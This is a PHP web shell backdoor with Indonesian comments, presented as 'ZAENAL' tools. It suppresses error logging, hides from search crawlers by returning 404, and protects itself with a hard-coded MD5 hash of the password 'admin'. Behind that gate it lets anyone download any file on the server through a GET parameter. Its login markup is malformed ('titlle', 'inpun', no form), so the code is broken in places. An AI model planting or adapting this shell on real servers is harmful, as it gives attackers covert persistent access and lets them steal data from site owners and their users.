ZENAL jembud

<?php
session_start();
error_reporting(0);
set_time_limit(0);
@set_magic_quotes_runtime(0);
@clearstatcache();
@ini_set('error_log',NULL);
@ini_set('log_errors',0);
@ini_set('max_execution_time',0);
@ini_set('output_buffering',0);
@ini_set('display_errors', 0);

$username = "admin"; // username nya bos
$auth_pass = "21232f297a57a5a743894a0e4a801fc3"; // PASSWORD NYA: admin

$color = "#00ff00";
$default_action = 'FilesMan';
$default_use_ajax = true;
$default_charset = 'UTF-8';
if(!empty($_SERVER['HTTP_USER_AGENT'])) {
    $userAgents = array("Googlebot", "Slurp", "MSNBot", "PycURL", "facebookexternalhit", "ia_archiver", "crawler", "Yandex", "Rambler", "Yahoo! Slurp", "YahooSeeker", "bingbot");
    if(preg_match('/' . implode('|', $userAgents) . '/i', $_SERVER['HTTP_USER_AGENT'])) {
        header('HTTP/1.0 404 Not Found');
        exit;
    }
}

function login_zaenal() {
?>
<!DOCTYPE html>
<html>
    <head>
        <titlle>Login zaenal</titlle>
        <style>
            body {
                margin: 250px;
                text-align: center;
            }
        </style>
    </head>
    <body>
        <h1>Login dulu bosque</h1>
        <input type="text" name="user" value="admin"/>
        <inpun type="password" name="pass" pass="admin"/>
        <button type="submit" name="login">Login</button>
    </body>
</html>
<?php
exit;
}
if(!isset($_SESSION[md5($_SERVER['HTTP_HOST'])]))
    if( empty($auth_pass) || ( isset($_POST['pass']) && (md5($_POST['pass']) == $auth_pass) ) )
        $_SESSION[md5($_SERVER['HTTP_HOST'])] = true;
    else
        login_zaenal();
if(isset($_GET['file']) && ($_GET['file'] != '') && ($_GET['act'] == 'download')) {
    @ob_clean();
    $file = $_GET['file'];
    header('Content-Description: File Transfer');
    header('Content-Type: application/octet-stream');
    header('Content-Disposition: attachment; filename="'.basename($file).'"');
    header('Expires: 0');
    header('Cache-Control: must-revalidate');
    header('Pragma: public');
    header('Content-Length: ' . filesize($file));
    readfile($file);
    exit;
}
?>
<?php
include 'kingbotConfig/config.php';
?>
<!DOCTYPE html>
<html>
    <head>
        <title>ZAENAL HOME</title>
    </head>
    <body>
        <h1>SELAMAT DATANG DI TOOLS KAMI</h1>
    </body>
</html>
<?php
if($_GET['logout'] == true) {
    unset($_SESSION[md5($_SERVER['HTTP_HOST'])]);
    echo "<script>window.location='?';</script>";
}
?>